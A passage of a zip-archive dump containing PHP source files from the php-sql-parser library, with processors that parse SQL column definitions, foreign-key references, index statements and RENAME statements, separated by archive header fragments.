                break 2;

            case 'REFERENCES':
                $expr['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                $currCategory = $upper;
                break;

            case 'MATCH':
                if ($currCategory === 'REF_COL_LIST') {
                    $expr['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $currCategory = 'REF_MATCH';
                    continue 2;
                }
                # else?
                break;

            case 'FULL':
            case 'PARTIAL':
            case 'SIMPLE':
                if ($currCategory === 'REF_MATCH') {
                    $expr['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $expr['match'] = $upper;
                    $currCategory = 'REF_COL_LIST';
                    continue 2;
                }
                # else?
                break;

            case 'ON':
                if ($currCategory === 'REF_COL_LIST') {
                    $expr['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $currCategory = 'REF_ACTION';
                    continue 2;
                }
                # else ?
                break;

            case 'UPDATE':
            case 'DELETE':
                if ($currCategory === 'REF_ACTION') {
                    $expr['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $currCategory = 'REF_OPTION_' . $upper;
                    continue 2;
                }
                # else ?
                break;

            case 'RESTRICT':
            case 'CASCADE':
                if (strpos($currCategory, 'REF_OPTION_') === 0) {
                    $expr['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $expr['on_' . strtolower(substr($currCategory, -6))] = $upper;
                    continue 2;
                }
                # else ?
                break;

            case 'SET':
            case 'NO':
                if (strpos($currCategory, 'REF_OPTION_') === 0) {
                    $expr['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $expr['on_' . strtolower(substr($currCategory, -6))] = $upper;
                    $currCategory = 'SEC_' . $currCategory;
                    continue 2;
                }
                # else ?
                break;

            case 'NULL':
            case 'ACTION':
                if (strpos($currCategory, 'SEC_REF_OPTION_') === 0) {
                    $expr['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $expr['on_' . strtolower(substr($currCategory, -6))] .= ' ' . $upper;
                    $currCategory = 'REF_COL_LIST';
                    continue 2;
                }
                # else ?
                break;

            default:
                switch ($currCategory) {

                case 'REFERENCES':
                    if ($upper[0] === '(' && substr($upper, -1) === ')') {
                        # index_col_name list
                        $processor = new IndexColumnListProcessor($this->options);
                        $cols = $processor->process($this->removeParenthesisFromStart($trim));
                        $expr['sub_tree'][] = array('expr_type' => ExpressionType::COLUMN_LIST, 'base_expr' => $trim,
                                                    'sub_tree' => $cols);
                        $currCategory = 'REF_COL_LIST';
                        continue 3;
                    }
                    # foreign key reference table name
                    $expr['sub_tree'][] = array('expr_type' => ExpressionType::TABLE, 'table' => $trim,
                                                'base_expr' => $trim, 'no_quotes' => $this->revokeQuotation($trim));
                    continue 3;

                default:
                # else ?
                    break;
                }
                break;
            }
        }

        if (!isset($expr['till'])) {
            $expr = $this->buildReferenceDef($expr, trim($base_expr), -1);
        }
        return $expr;
    }
}
?>PK     \̯H  H  Y  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/ColumnDefinitionProcessor.phpnu [        <?php
/**
 * ColumnDefinitionProcessor.php
 *
 * This file implements the processor for column definition part of a CREATE TABLE statement.
 *
 * Copyright (c) 2010-2012, Justin Swanhart
 * with contributions by André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 *
 * This class processes the column definition part of a CREATE TABLE statement.
 *
 * @author arothe
 *
 */
class ColumnDefinitionProcessor extends AbstractProcessor {

    protected function processExpressionList($parsed) {
        $processor = new ExpressionListProcessor($this->options);
        $expr = $this->removeParenthesisFromStart($parsed);
        $expr = $this->splitSQLIntoTokens($expr);
        $expr = $this->removeComma($expr);
        return $processor->process($expr);
    }

    protected function processReferenceDefinition($parsed) {
        $processor = new ReferenceDefinitionProcessor($this->options);
        return $processor->process($parsed);
    }

    protected function removeComma($tokens) {
        $res = array();
        foreach ($tokens as $token) {
            if (trim($token) !== ',') {
                $res[] = $token;
            }
        }
        return $res;
    }

    protected function buildColDef($expr, $base_expr, $options, $refs, $key) {
        $expr = array('expr_type' => ExpressionType::COLUMN_TYPE, 'base_expr' => $base_expr, 'sub_tree' => $expr);

        // add options first
        $expr['sub_tree'] = array_merge($expr['sub_tree'], $options['sub_tree']);
        unset($options['sub_tree']);
        $expr = array_merge($expr, $options);

        // followed by references
        if (sizeof($refs) !== 0) {
            $expr['sub_tree'] = array_merge($expr['sub_tree'], $refs);
        }

        $expr['till'] = $key;
        return $expr;
    }

    protected function peekAtNextToken($tokens, $index)
    {
        $offset = $index + 1;
        while (isset($tokens[$offset])) {
            $token = trim($tokens[$offset]);
            if ($token !== '') {
                return strtoupper($token);
            }
            $offset++;
        }
        return '';
    }

    public function process($tokens) {

        $trim = '';
        $base_expr = '';
        $currCategory = '';
        $expr = array();
        $refs = array();
        $options = array('unique' => false, 'nullable' => true, 'auto_inc' => false, 'primary' => false,
                         'sub_tree' => array());
        $skip = 0;

        foreach ($tokens as $key => $token) {

            $trim = trim($token);
            $base_expr .= $token;

            if ($skip > 0) {
                $skip--;
                continue;
            }

            if ($skip < 0) {
                break;
            }

            if ($trim === '') {
                continue;
            }

            $upper = strtoupper($trim);

            switch ($upper) {

            case ',':
            // we stop on a single comma and return
            // the $expr entry and the index $key
                $expr = $this->buildColDef($expr, trim(substr($base_expr, 0, -strlen($token))), $options, $refs,
                    $key - 1);
                break 2;

            case 'VARCHAR':
            case 'VARCHARACTER': // Alias for VARCHAR
                $expr[] = array('expr_type' => ExpressionType::DATA_TYPE, 'base_expr' => $trim, 'length' => false);
                $prevCategory = 'TEXT';
                $currCategory = 'SINGLE_PARAM_PARENTHESIS';
                continue 2;

            case 'VARBINARY':
                $expr[] = array('expr_type' => ExpressionType::DATA_TYPE, 'base_expr' => $trim, 'length' => false);
                $prevCategory = $upper;
                $currCategory = 'SINGLE_PARAM_PARENTHESIS';
                continue 2;

            case 'UNSIGNED':
                foreach (array_reverse(array_keys($expr)) as $i) {
                    if (isset($expr[$i]['expr_type']) && (ExpressionType::DATA_TYPE === $expr[$i]['expr_type'])) {
                        $expr[$i]['unsigned'] = true;
                        break;
                    }
                }
	            $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                continue 2;

            case 'ZEROFILL':
                $last = array_pop($expr);
                $last['zerofill'] = true;
                $expr[] = $last;
	            $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                continue 2;

            case 'BIT':
            case 'TINYBIT':
            case 'TINYINT':
            case 'SMALLINT':
            case 'INT2':        // Alias of SMALLINT
            case 'MEDIUMINT':
            case 'INT3':        // Alias of MEDIUMINT
            case 'MIDDLEINT':   // Alias of MEDIUMINT
            case 'INT':
            case 'INTEGER':
            case 'INT4':        // Alias of INT
            case 'BIGINT':
            case 'INT8':        // Alias of BIGINT
            case 'BOOL':
            case 'BOOLEAN':
                $expr[] = array('expr_type' => ExpressionType::DATA_TYPE, 'base_expr' => $trim, 'unsigned' => false,
                                'zerofill' => false, 'length' => false);
                $currCategory = 'SINGLE_PARAM_PARENTHESIS';
                $prevCategory = $upper;
                continue 2;

            case 'BINARY':
                if ($currCategory === 'TEXT') {
                    $last = array_pop($expr);
                    $last['binary'] = true;
                    $last['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $expr[] = $last;
                    continue 2;
                }
                $expr[] = array('expr_type' => ExpressionType::DATA_TYPE, 'base_expr' => $trim, 'length' => false);
                $currCategory = 'SINGLE_PARAM_PARENTHESIS';
                $prevCategory = $upper;
                continue 2;

            case 'CHAR':
                $expr[] = array('expr_type' => ExpressionType::DATA_TYPE, 'base_expr' => $trim, 'length' => false);
                $currCategory = 'SINGLE_PARAM_PARENTHESIS';
                $prevCategory = 'TEXT';
                continue 2;

            case 'REAL':
            case 'DOUBLE':
            case 'FLOAT8':      // Alias for DOUBLE
            case 'FLOAT':
            case 'FLOAT4':      // Alias for FLOAT
                $expr[] = array('expr_type' => ExpressionType::DATA_TYPE, 'base_expr' => $trim, 'unsigned' => false,
                                'zerofill' => false);
                $currCategory = 'TWO_PARAM_PARENTHESIS';
                $prevCategory = $upper;
                continue 2;

            case 'DECIMAL':
            case 'NUMERIC':
                $expr[] = array('expr_type' => ExpressionType::DATA_TYPE, 'base_expr' => $trim, 'unsigned' => false,
                                'zerofill' => false);
                $currCategory = 'TWO_PARAM_PARENTHESIS';
                $prevCategory = $upper;
                continue 2;

            case 'YEAR':
                $expr[] = array('expr_type' => ExpressionType::DATA_TYPE, 'base_expr' => $trim, 'length' => false);
                $currCategory = 'SINGLE_PARAM_PARENTHESIS';
                $prevCategory = $upper;
                continue 2;

            case 'DATE':
            case 'TIME':
            case 'TIMESTAMP':
            case 'DATETIME':
            case 'TINYBLOB':
            case 'BLOB':
            case 'MEDIUMBLOB':
            case 'LONGBLOB':
                $expr[] = array('expr_type' => ExpressionType::DATA_TYPE, 'base_expr' => $trim);
                $prevCategory = $currCategory = $upper;
                continue 2;

            // the next token can be BINARY
            case 'TINYTEXT':
            case 'TEXT':
            case 'MEDIUMTEXT':
            case 'LONGTEXT':
                $prevCategory = $currCategory = 'TEXT';
                $expr[] = array('expr_type' => ExpressionType::DATA_TYPE, 'base_expr' => $trim, 'binary' => false);
                continue 2;

            case 'ENUM':
                $currCategory = 'MULTIPLE_PARAM_PARENTHESIS';
                $prevCategory = 'TEXT';
                $expr[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim, 'sub_tree' => false);
                continue 2;

            case 'GEOMETRY':
            case 'POINT':
            case 'LINESTRING':
            case 'POLYGON':
            case 'MULTIPOINT':
            case 'MULTILINESTRING':
            case 'MULTIPOLYGON':
            case 'GEOMETRYCOLLECTION':
                $expr[] = array('expr_type' => ExpressionType::DATA_TYPE, 'base_expr' => $trim);
                $prevCategory = $currCategory = $upper;
                // TODO: is it right?
                // spatial types
                continue 2;

            case 'CHARSET':
                $currCategory = 'CHARSET';
                $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                continue 2;

            case 'CHARACTER':
                // Alias of CHAR as well as pre-running for CHARACTER SET
                // To determine which we peek at the next token to see if it's a SET or not.
                if ($this->peekAtNextToken($tokens, $key) == 'SET') {
                    $currCategory = 'CHARSET';
                    $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                // If it's not a SET we assume that it is a CHARACTER type definition
                } else {
                    $expr[] = array('expr_type' => ExpressionType::DATA_TYPE, 'base_expr' => $trim, 'length' => false);
                    $currCategory = 'SINGLE_PARAM_PARENTHESIS';
                    $prevCategory = 'TEXT';
                }
                continue 2;

            case 'SET':
				if ($currCategory == 'CHARSET') {
    	            $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
				} else {
	                $currCategory = 'MULTIPLE_PARAM_PARENTHESIS';
    	            $prevCategory = 'TEXT';
        	        $expr[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim, 'sub_tree' => false);
				}
                continue 2;

            case 'COLLATE':
                $currCategory = $upper;
                $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                continue 2;

            case 'NOT':
            case 'NULL':
                $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                if ($options['nullable']) {
                    $options['nullable'] = ($upper === 'NOT' ? false : true);
                }
                continue 2;

            case 'DEFAULT':
            case 'COMMENT':
                $currCategory = $upper;
                $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                continue 2;

            case 'AUTO_INCREMENT':
                $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                $options['auto_inc'] = true;
                continue 2;

            case 'COLUMN_FORMAT':
            case 'STORAGE':
                $currCategory = $upper;
                $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                continue 2;

            case 'UNIQUE':
            // it can follow a KEY word
                $currCategory = $upper;
                $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                $options['unique'] = true;
                continue 2;

            case 'PRIMARY':
            // it must follow a KEY word
                $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                continue 2;

            case 'KEY':
                $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                if ($currCategory !== 'UNIQUE') {
                    $options['primary'] = true;
                }
                continue 2;

            case 'REFERENCES':
                $refs = $this->processReferenceDefinition(array_splice($tokens, $key - 1, null, true));
                $skip = $refs['till'] - $key;
                unset($refs['till']);
                // TODO: check this, we need the last comma
                continue 2;

            default:
                switch ($currCategory) {

                case 'STORAGE':
                    if ($upper === 'DISK' || $upper === 'MEMORY' || $upper === 'DEFAULT') {
                        $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                        $options['storage'] = $trim;
                        continue 3;
                    }
                    // else ?
                    break;

                case 'COLUMN_FORMAT':
                    if ($upper === 'FIXED' || $upper === 'DYNAMIC' || $upper === 'DEFAULT') {
                        $options['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                        $options['col_format'] = $trim;
                        continue 3;
                    }
                    // else ?
                    break;

                case 'COMMENT':
                // this is the comment string
                    $options['sub_tree'][] = array('expr_type' => ExpressionType::COMMENT, 'base_expr' => $trim);
                    $options['comment'] = $trim;
                    $currCategory = $prevCategory;
                    break;

                case 'DEFAULT':
                // this is the default value
                    $options['sub_tree'][] = array('expr_type' => ExpressionType::DEF_VALUE, 'base_expr' => $trim);
                    $options['default'] = $trim;
                    $currCategory = $prevCategory;
                    break;

                case 'COLLATE':
                // this is the collation name
                    $options['sub_tree'][] = array('expr_type' => ExpressionType::COLLATE, 'base_expr' => $trim);
                    $options['collate'] = $trim;
                    $currCategory = $prevCategory;
                    break;

                case 'CHARSET':
                // this is the character set name
                    $options['sub_tree'][] = array('expr_type' => ExpressionType::CHARSET, 'base_expr' => $trim);
                    $options['charset'] = $trim;
                    $currCategory = $prevCategory;
                  break;

                case 'SINGLE_PARAM_PARENTHESIS':
                    $parsed = $this->removeParenthesisFromStart($trim);
                    $parsed = array('expr_type' => ExpressionType::CONSTANT, 'base_expr' => trim($parsed));
                    $last = array_pop($expr);
                    $last['length'] = $parsed['base_expr'];

                    $expr[] = $last;
                    $expr[] = array('expr_type' => ExpressionType::BRACKET_EXPRESSION, 'base_expr' => $trim,
                                    'sub_tree' => array($parsed));
                    $currCategory = $prevCategory;
                    break;

                case 'TWO_PARAM_PARENTHESIS':
                // maximum of two parameters
                    $parsed = $this->processExpressionList($trim);

                    $last = array_pop($expr);
                    $last['length'] = $parsed[0]['base_expr'];
                    $last['decimals'] = isset($parsed[1]) ? $parsed[1]['base_expr'] : false;

                    $expr[] = $last;
                    $expr[] = array('expr_type' => ExpressionType::BRACKET_EXPRESSION, 'base_expr' => $trim,
                                    'sub_tree' => $parsed);
                    $currCategory = $prevCategory;
                    break;

                case 'MULTIPLE_PARAM_PARENTHESIS':
                // some parameters
                    $parsed = $this->processExpressionList($trim);

                    $last = array_pop($expr);
                    $subTree = array('expr_type' => ExpressionType::BRACKET_EXPRESSION, 'base_expr' => $trim,
                                     'sub_tree' => $parsed);

                    if ($this->options->getConsistentSubtrees()) {
                        $subTree = array($subTree);
                    }

                    $last['sub_tree'] = $subTree;
                    $expr[] = $last;
                    $currCategory = $prevCategory;
                    break;

                default:
                    break;
                }

            }
            $prevCategory = $currCategory;
            $currCategory = '';
        }

        if (!isset($expr['till'])) {
            // end of $tokens array
            $expr = $this->buildColDef($expr, trim($base_expr), $options, $refs, -1);
        }
        return $expr;
    }
}
?>
PK     \CO-  -  N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/IndexProcessor.phpnu [        <?php
/**
 * IndexProcessor.php
 *
 * This file implements the processor for the INDEX statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the INDEX statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class IndexProcessor extends AbstractProcessor {

    protected function getReservedType($token) {
        return array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $token);
    }

    protected function getConstantType($token) {
        return array('expr_type' => ExpressionType::CONSTANT, 'base_expr' => $token);
    }

    protected function getOperatorType($token) {
        return array('expr_type' => ExpressionType::OPERATOR, 'base_expr' => $token);
    }

    protected function processIndexColumnList($parsed) {
        $processor = new IndexColumnListProcessor($this->options);
        return $processor->process($parsed);
    }

    public function process($tokens) {

        $currCategory = 'INDEX_NAME';
        $result = array('base_expr' => false, 'name' => false, 'no_quotes' => false, 'index-type' => false, 'on' => false,
                        'options' => array());
        $expr = array();
        $base_expr = '';
        $skip = 0;

        foreach ($tokens as $tokenKey => $token) {
            $trim = trim($token);
            $base_expr .= $token;

            if ($skip > 0) {
                $skip--;
                continue;
            }

            if ($skip < 0) {
                break;
            }

            if ($trim === '') {
                continue;
            }

            $upper = strtoupper($trim);
            switch ($upper) {

            case 'USING':
                if ($prevCategory === 'CREATE_DEF') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = 'TYPE_OPTION';
                    continue 2;
                }
                if ($prevCategory === 'TYPE_DEF') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = 'INDEX_TYPE';
                    continue 2;
                }
                // else ?
                break;

            case 'KEY_BLOCK_SIZE':
                if ($prevCategory === 'CREATE_DEF') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = 'INDEX_OPTION';
                    continue 2;
                }
                // else ?
                break;

            case 'WITH':
                if ($prevCategory === 'CREATE_DEF') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = 'INDEX_PARSER';
                    continue 2;
                }
                // else ?
                break;

            case 'PARSER':
                if ($currCategory === 'INDEX_PARSER') {
                    $expr[] = $this->getReservedType($trim);
                    continue 2;
                }
                // else ?
                break;

            case 'COMMENT':
                if ($prevCategory === 'CREATE_DEF') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = 'INDEX_COMMENT';
                    continue 2;
                }
                // else ?
                break;

            case 'ALGORITHM':
            case 'LOCK':
                if ($prevCategory === 'CREATE_DEF') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = $upper . '_OPTION';
                    continue 2;
                }
                // else ?
                break;

            case '=':
            // the optional operator
                if (substr($currCategory, -7, 7) === '_OPTION') {
                    $expr[] = $this->getOperatorType($trim);
                    continue 2; // don't change the category
                }
                // else ?
                break;

            case 'ON':
                if ($prevCategory === 'CREATE_DEF' || $prevCategory === 'TYPE_DEF') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = 'TABLE_DEF';
                    continue 2;
                }
                // else ?
                break;

            default:
                switch ($currCategory) {

                case 'COLUMN_DEF':
                    if ($upper[0] === '(' && substr($upper, -1) === ')') {
                        $cols = $this->processIndexColumnList($this->removeParenthesisFromStart($trim));
                        $result['on']['base_expr'] .= $base_expr;
                        $result['on']['sub_tree'] = array('expr_type' => ExpressionType::COLUMN_LIST,
                                                          'base_expr' => $trim, 'sub_tree' => $cols);
                    }

                    $expr = array();
                    $base_expr = '';
                    $currCategory = 'CREATE_DEF';
                    break;

                case 'TABLE_DEF':
                // the table name
                    $expr[] = $this->getConstantType($trim);
                    // TODO: the base_expr should contain the column-def too
                    $result['on'] = array('expr_type' => ExpressionType::TABLE, 'base_expr' => $base_expr,
                                          'name' => $trim, 'no_quotes' => $this->revokeQuotation($trim),
                                          'sub_tree' => false);
                    $expr = array();
                    $base_expr = '';
                    $currCategory = 'COLUMN_DEF';
                    continue 3;

                case 'INDEX_NAME':
                    $result['base_expr'] = $result['name'] = $trim;
                    $result['no_quotes'] = $this->revokeQuotation($trim);

                    $expr = array();
                    $base_expr = '';
                    $currCategory = 'TYPE_DEF';
                    break;

                case 'INDEX_PARSER':
                // the parser name
                    $expr[] = $this->getConstantType($trim);
                    $result['options'][] = array('expr_type' => ExpressionType::INDEX_PARSER,
                                                 'base_expr' => trim($base_expr), 'sub_tree' => $expr);
                    $expr = array();
                    $base_expr = '';
                    $currCategory = 'CREATE_DEF';

                    break;

                case 'INDEX_COMMENT':
                // the index comment
                    $expr[] = $this->getConstantType($trim);
                    $result['options'][] = array('expr_type' => ExpressionType::COMMENT,
                                                 'base_expr' => trim($base_expr), 'sub_tree' => $expr);
                    $expr = array();
                    $base_expr = '';
                    $currCategory = 'CREATE_DEF';

                    break;

                case 'INDEX_OPTION':
                // the key_block_size
                    $expr[] = $this->getConstantType($trim);
                    $result['options'][] = array('expr_type' => ExpressionType::INDEX_SIZE,
                                                 'base_expr' => trim($base_expr), 'size' => $upper,
                                                 'sub_tree' => $expr);
                    $expr = array();
                    $base_expr = '';
                    $currCategory = 'CREATE_DEF';

                    break;

                case 'INDEX_TYPE':
                case 'TYPE_OPTION':
                // BTREE or HASH
                    $expr[] = $this->getReservedType($trim);
                    if ($currCategory === 'INDEX_TYPE') {
                        $result['index-type'] = array('expr_type' => ExpressionType::INDEX_TYPE,
                                                      'base_expr' => trim($base_expr), 'using' => $upper,
                                                      'sub_tree' => $expr);
                    } else {
                        $result['options'][] = array('expr_type' => ExpressionType::INDEX_TYPE,
                                                     'base_expr' => trim($base_expr), 'using' => $upper,
                                                     'sub_tree' => $expr);
                    }

                    $expr = array();
                    $base_expr = '';
                    $currCategory = 'CREATE_DEF';
                    break;

                case 'LOCK_OPTION':
                // DEFAULT|NONE|SHARED|EXCLUSIVE
                    $expr[] = $this->getReservedType($trim);
                    $result['options'][] = array('expr_type' => ExpressionType::INDEX_LOCK,
                                                 'base_expr' => trim($base_expr), 'lock' => $upper,
                                                 'sub_tree' => $expr);

                    $expr = array();
                    $base_expr = '';
                    $currCategory = 'CREATE_DEF';
                    break;

                case 'ALGORITHM_OPTION':
                // DEFAULT|INPLACE|COPY
                    $expr[] = $this->getReservedType($trim);
                    $result['options'][] = array('expr_type' => ExpressionType::INDEX_ALGORITHM,
                                                 'base_expr' => trim($base_expr), 'algorithm' => $upper,
                                                 'sub_tree' => $expr);

                    $expr = array();
                    $base_expr = '';
                    $currCategory = 'CREATE_DEF';

                    break;

                default:
                    break;
                }

                break;
            }

            $prevCategory = $currCategory;
            $currCategory = '';
        }

        if ($result['options'] === array()) {
            $result['options'] = false;
        }
        return $result;
    }
}
?>
PK     \6    O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/RenameProcessor.phpnu [        <?php
/**
 * RenameProcessor.php
 *
 * This file implements the processor for the RENAME statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;
use PHPSQLParser\utils\ExpressionToken;

/**
 * This class processes the RENAME statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class RenameProcessor extends AbstractProcessor {

    public function process($tokenList) {
        $base_expr = "";
        $resultList = array();
        $tablePair = array();

        foreach ($tokenList as $k => $v) {
            $token = new ExpressionToken($k, $v);

            if ($token->isWhitespaceToken()) {
                continue;
            }

            switch ($token->getUpper()) {
            case 'TO':
            // separate source table from destination
                $tablePair['source'] = array('expr_type' => ExpressionType::TABLE, 'table' => trim($base_expr),
                                             'no_quotes' => $this->revokeQuotation($base_expr),
                                             'base_expr' => $base_expr);
                $base_expr = "";
                break;

            case ',':
            // split rename operations
                $tablePair['destination'] = array('expr_type' => ExpressionType::TABLE, 'table' => trim($base_expr),
                                                  'no_quotes' => $this->revokeQuotation($base_expr),
                                                  'base_expr' => $base_expr);
                $resultList[] = $tablePair;
                $tablePair = array();
                $base_expr = "";
                break;

            case 'TABLE':
                $objectType = ExpressionType::TABLE;
                $resultList[] = array('expr_type'=>ExpressionType::RESERVED, 'base_expr'=>$token->getTrim());   
                continue 2; 
                
            default:
                $base_expr .= $token->getToken();
                break;
            }
        }

        if ($base_expr !== "") {
            $tablePair['destination'] = array('expr_type' => ExpressionType::TABLE, 'table' => trim($base_expr),
                                              'no_quotes' => $this->revokeQuotation($base_expr),
                                              'base_expr' => $base_expr);
            $resultList[] = $tablePair;
        }

        return array('expr_type' => $objectType, 'sub_tree'=>$resultList);
    }

}
?>PK     \EI/  /  P  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/BracketProcessor.phpnu [        <?php
/**
 * BracketProcessor.php
 *
 * This file implements the processor for the parentheses around the statements.
 *
